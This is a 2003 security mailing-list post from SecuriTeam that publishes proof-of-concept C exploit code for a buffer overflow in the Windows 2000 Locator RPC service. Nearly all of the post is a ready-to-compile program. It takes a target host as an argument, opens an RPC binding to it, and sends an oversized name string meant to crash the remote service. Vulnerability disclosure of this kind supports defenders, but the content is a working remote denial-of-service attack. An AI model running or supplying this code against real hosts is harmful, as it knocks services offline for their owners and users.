[EXPL] Locator Service Buffer Overflow Exploit Code

From: support@securiteam.com
Date: 03/19/03

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    From: support@securiteam.com
To: list@securiteam.com
Date: 19 Mar 2003 14:04:31 +0200

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      Locator Service Buffer Overflow Exploit Code
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/windowsntfocus/5NP0N0U8UU.html> Unchecked
    Buffer in Locator Service Could Lead to Code Execution and
    <http://www.securiteam.com/windowsntfocus/5KP0U008VY.html> Locator Service
    Buffer Overflow Vulnerability, a buffer overflow in the Locator service
    allows a remote attacker to cause the Locator service to crash.

    DETAILS

    Exploit:
    /* Proof of concept, by obscou
     * Locator (RPC Service)
     *
     * Compiling with : Rpcrt4.lib Rpcns4.lib */

    #include <stdio.h>
    #include <windows.h>
    #include <rpc.h>

    unsigned char str[]=
    "/.:/00000000000000000000000000000000000000000000000000"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
    "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
    "DDDDDDD"
    "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
    "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
    "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
    "GGGGGGG"
    "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
    "HHHHHHH"
    "IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
    "JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ"
    "KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK"
    "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL"
    "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
    "MMMMMMMMMMMM"
    "NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN"
    "NNNNNNN"
    "OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
    "OOOOOOO"
    "PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP"
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
    "QQQQQQQ"
    "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR"
    "RRRRRRR"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT";

    int main(int argc, char **argv)
    {
    RPC_STATUS status;
    RPC_BINDING_HANDLE IfHandle;
    RPC_NS_HANDLE ImportContext;

        unsigned char * pszUuid = (unsigned char * )NULL;
        unsigned char * pszProtocolSequence = (unsigned char *
    )"ncacn_ip_tcp";
        unsigned char * pszNetworkAddress;
        unsigned char * pszEndpoint = (unsigned char * )NULL;
        unsigned char * pszOptions = (unsigned char * )NULL;
        unsigned char * pszStringBinding = (unsigned char * )NULL;

       
    printf("Win2k Locator Vuln : proof of concept by obscou\n");

      if(argc!=2) {
        printf("Arguments : %s HOST\n",argv[0]);
        return FALSE;
      }

      pszNetworkAddress=(unsigned char * )argv[1];
      
        status = RpcStringBindingCompose(pszUuid,
                                         pszProtocolSequence,
                                         pszNetworkAddress,
                                         pszEndpoint,
                                         pszOptions,
                                         &pszStringBinding);
    printf("RpcBindingStringCompose...");
    if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");

    status = RpcBindingFromStringBinding(pszStringBinding,&IfHandle);

    printf("RpcBindingFromStringBinding...");
    if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");

    status = RpcNsBindingImportBegin(RPC_C_NS_SYNTAX_DEFAULT,
      str,
      IfHandle,
      NULL,
      &ImportContext);

    status = RpcStringFree(&pszStringBinding);

    printf("RpcStringFree...");
    if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");
        
    status = RpcBindingFree(&IfHandle);

    printf("RpcBindingFree...");
    if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");

    printf("Done... service might be down...\n");

    return TRUE;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:obscou@dr.com> Robert
    Durang.

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